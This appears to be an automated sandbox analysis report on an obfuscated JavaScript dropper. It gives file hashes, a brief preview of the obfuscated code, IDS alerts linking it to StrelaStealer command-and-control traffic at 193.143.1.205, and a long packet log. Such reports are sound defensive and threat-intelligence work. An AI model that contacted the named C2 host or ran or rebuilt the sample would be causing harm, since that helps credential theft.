Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17643), with CRLF line terminators
Entropy (8bit):	4.920861030309466
TrID:
File name:	1003135002549521218.js
File size:	21'205 bytes
MD5:	b0e5f27fd6f8aacbb289bd7ef900362d
SHA1:	dce96028b0d5469c7b82214c4c1a94ef53ea8718
SHA256:	583f75e1d6cc94888fcd050330a63155e00dc1b60876fc13ffa97e9478c6c5de
SHA512:	6d63d299e08170a28d8ac3c8d4e6b2e5496203b3fd12c4dbf88986469450ba1fed500ec6ea97d672cea035e3d28e460320b8990fb5c8a4dae67c68ea573f41b0
SSDEEP:	384:Vvj4DZwzteExrI71iHPG+Jth5TyUexYbrA/DQJ8cLOP:uDDEKmGsTyUWO6
TLSH:	EB92604A4602C88BDAE809B415DF81A569E8435CD3F07E85DDC06D2CB24C96E71FBBBD
File Content Preview:	function rjvae(){kfxqw=[1031,3079,5127,4103,2055,3072];var qjpyuz=this[wbdpwsqrv+fvrfolha+gmcukc+oykmtkir+uoqwzdmxs+mqdooei+fsoas+nuhwebl](this[vbcteph+sltnmoxg+mvzwkrv+gmcukc+lodiryvm+wbdpwsqrv+nuhwebl][uifrcejvo+gmcukc+uoqwzdmxs+fvrfolha+nuhwebl+uoqwzdm

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T05:46:54.304143+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T05:46:54.304143+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T05:46:56.594419+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:46:53.537470102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:53.542467117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:53.542550087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:53.545588017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:53.550406933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.304047108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.304085016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.304101944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.304117918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.304133892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.304142952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.304195881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.304203987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.304219961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.304245949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.304277897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.304349899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.304354906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.304372072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.304414034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.309078932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.346750021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.346770048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.346935034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.421741009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.421766043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.421782970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.421838045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.421924114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.421924114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.426429033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.426449060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.426517963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.426531076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.426548004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.426588058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.431173086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.431233883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.431251049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.431267023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.431274891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.431282043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.431318045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.435906887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.435925961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.435983896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.435985088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.436001062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.436032057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.440701962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.440722942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.440738916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.440756083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.440758944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.440768003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.440782070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.440813065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.489051104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.489073992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.489092112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.489125967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.508411884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.508450031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.508569002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.538691044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.538712978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.538728952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.538754940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.538769960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.538794041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.538836956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.539115906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.539163113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.539179087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.539207935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.539556026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.539587975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.539599895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.539603949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.539649010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.539693117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.539710999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.539758921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.540405035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.540446997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.540462017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.540496111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.540555954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.540572882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.540601015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.541289091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.541332006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.541352034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.541369915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.541430950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.541440010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.541455030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.541496992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.542160034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.542193890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.542210102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.542249918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.542305946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.542323112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.542346954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.543019056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.543044090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.543060064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.543062925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.543101072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.543169975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.543186903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.543229103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.543978930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.543998003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.544015884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.544044018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.544096947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.544114113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.544137955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.544775009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.544809103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.544819117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.544821978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.544857025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.575808048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.575831890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.575859070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.575875998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.575879097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.575892925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.575958014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.580758095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.580777884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.580800056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.595127106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.595165014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.595180035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.595185995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.595221043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.625458956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.625475883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.625535011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.656234980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.656251907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.656275034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.656302929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.656313896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.656445026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.656459093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.656496048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.656636000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.657114029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.657166004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.657192945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.657315969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.657327890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.657340050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.657358885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.657377958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.657890081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.657906055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.657918930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.657962084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.657984018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.657995939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.658040047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.658773899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.658786058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.658797979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.658821106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.658838034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.658844948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.658860922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.658904076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.659550905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.659621954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.659632921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.659693956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.659739017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.659750938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.659776926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.660424948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.660449982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.660465002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.660474062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.660509109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.660578966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.660592079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.660626888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.661303997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.661329985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.661344051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.661387920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.661448956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.661461115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.661506891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.662143946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.662178040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.662189960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.662194014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.662230968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.662291050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.662302971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.662345886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.663037062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.663070917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.663083076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.663119078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.663165092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.663177967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.663228035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.663986921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.664000034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.664016962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.664027929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.664027929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.664040089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.664066076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.664091110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.664844990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.664858103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.664870024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.664894104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.664911985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.664923906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.664942980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.665541887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.665555000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.665566921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.665585041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.665612936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.665613890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.665625095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.665636063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.665647984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.665663004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.665685892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.666557074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.666568995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.666579962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.666595936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.666604042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.666605949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.666619062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.666630030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.666634083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.666676998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.667264938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.667304993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.667315960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.667323112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.667365074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.667493105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.667530060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.667540073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.667588949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.670928001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.681844950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.681891918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.681904078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.681930065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.681945086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.681952000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.681957960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.682018042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.692074060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.712249041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.712280989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.712291956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.712341070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.742903948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.742959976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.742978096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.742990971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.743001938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.743002892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.743026018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.743047953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.743113041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.743124008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.743134975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.743170977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.743343115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.743355036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.743366957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.743372917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.743383884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.743385077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.743396997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.743406057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.743431091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.743561029 CET	80	49704	193.143.1.205	192.168.2.5
